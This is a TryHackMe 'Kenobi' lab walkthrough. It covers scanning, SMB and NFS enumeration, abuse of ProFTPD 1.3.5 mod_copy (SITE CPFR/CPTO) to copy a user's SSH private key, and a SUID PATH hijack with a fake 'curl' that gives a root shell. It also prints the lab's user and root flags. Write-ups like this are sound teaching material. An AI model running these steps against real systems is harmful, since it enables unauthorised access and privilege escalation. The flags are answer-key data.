

Kenobi — TryHackMe

pwnbobby

May 2026

Task 1: Deploy the vulnerable machine

Nmap scan

```
nmap -sC -sV 10.114.156.150
```

```
(mrhacker@Kali)-[~/Desktop]
$ sudo nmap -sC -sV 10.114.156.150
[sudo] password for mrhacker:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-02 12:18 MSK
Stats: 0:00:13 elapsed; 0 hosts completed (1 up)
```

Nmap scan revealed 7 open ports on the target machine.

Question: Scan the machine with nmap, how many ports are open?

Answer: 7

Task 2: Enumeration (SMB)

The nmap -p 445 --script=smb-enum-shares.nse MACHINE_IP command did not work as expected

```
(mrhacker@Kali)-[~/Desktop]
$ sudo nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.114.156.150
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-02 12:18 MSK
Nmap scan report for 10.114.156.150
Host is up (0.093s latency).

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
```

so we will use a more reliable alternative — smbclient -L //10.114.156.150 -N

```
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
(mrhacker@Kali)-[~/Desktop]
$ smbclient -L //10.114.156.150 -N

Sharename      Type      Comment
-----
print$         Disk     Printer Drivers
anonymous      Disk
IPC$           IPC      IPC Service (Kenobi server)

Reconnecting with SMB1 for workgroup listing.
```

Question: Using the nmap command above, how many shares have been found?

Answer: 3

Connected to the anonymous share and used ls to find the log.txt file.

```
(mrhacker@Kali)-[~/Desktop]
$ smbclient //10.114.156.150/anonymous
Password for [WORKGROUP\mrhacker]:
Try "help" to get a list of possible commands.
smb: \>
```

To keep things simple and avoid complicated commands, we downloaded the file using the get command.

```
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (23.1 KiloBytes/sec) (average 23.1 KiloBytes/sec)
smb: \> exit
```

Once log.txt was retrieved, its contents were examined using the cat command. The analysis revealed information regarding the FTP service, including the port on which it is running.

```
30 DefaultServer on
31
32 # Port 21 is the standard FTP port.
33 Port 21
34
```

Question: What port is FTP running on?

Answer: 21

`nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.114.156.150`
was used to enumerate NFS exportable filesystems.

```
PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-statfs:
|   Filesystem  1K-blocks  Used      Available  Use%  Maxfilesize  Maxlink
|_  /var         9183416.0  5701188.0  2991632.0  66%   16.0T        32000
| nfs-showmount:
|_  /var *
| nfs-ls: Volume /var
```

Question: What mount can we see?

Answer: /var

Task 3: ProFTPD Exploitation

ProFTPD Version Detection

```
(mrhacker@Kali)-[~/Desktop]
$ nc 10.114.156.150 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.114.156.150]
```

Question: What is the version?

Answer: 1.3.5

Exploit search using searchsploit

```
msf > searchsploit ProFTPD 1.3.5
[*] exec: searchsploit ProFTPD 1.3.5
```

Exploit Title	Path
ProFTPD 1.3.5 - 'mod_copy' Command Execution (Metasploit)	linux/remote/37262.rb
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution	linux/remote/36803.py
ProFTPD 1.3.5 - 'mod_copy' Remote Command Execution (2)	linux/remote/49908.py
ProFTPD 1.3.5 - File Copy	linux/remote/36742.txt

```
Shellcodes: No Results
```

Question: How many exploits are there for the ProFTPD running?

Answer: 4

ProFTPD version 1.3.5 includes the mod_copy module, which implements the SITE CPFR (copy from) and SITE CPTO (copy to) commands. These commands allow an unauthenticated user to copy files from any location on the filesystem to a destination of their choice. No authentication is required.

```
(mrhacker@Kali)-[~/Desktop]
$ nc 10.114.156.150 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.114.156.150]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
```

Copying Kenobi's SSH key

```
(mrhacker@Kali)-[~/Desktop]
$ cp /mnt/kenobiNFS/tmp/id_rsa /home/mrhacker/Desktop

(mrhacker@Kali)-[~/Desktop]
$ chmod 600 id_rsa

(mrhacker@Kali)-[~/Desktop]
$ ssh -i id_rsa kenobi@10.114.156.150
```

```
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$
```

Question: What is Kenobi's user flag?

Answer: *d0b0f3f53b6caa532a83915e19224899*

Task 4: SUID Privilege Escalation

Finding SUID Binaries

```
find / -perm -u=s -type f 2>/dev/null
```

```
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/su
```

Question: What file looks particularly out of the ordinary?

Answer: */usr/bin/menu*

Analysing the Binary

Running the binary:

```
kenobi@kenobi:~$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
```

Question: Run the binary, how many options appear?

Answer: 3

Exploitation – PATH Manipulation

```
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ echo "/bin/sh">curl
kenobi@kenobi:/tmp$ chmod 777 curl
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
kenobi@kenobi:/tmp$ /usr/bin/menu

*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
# cat root.txt
```

we have entered root and can now search for root flags

```
# cd /root
# ls
root.txt  snap
# cat root.txt
177b3cd8562289f37382721c28381f02
#
```

Question: What is the root flag (/root/root.txt)?

Answer: 177b3cd8562289f37382721c28381f02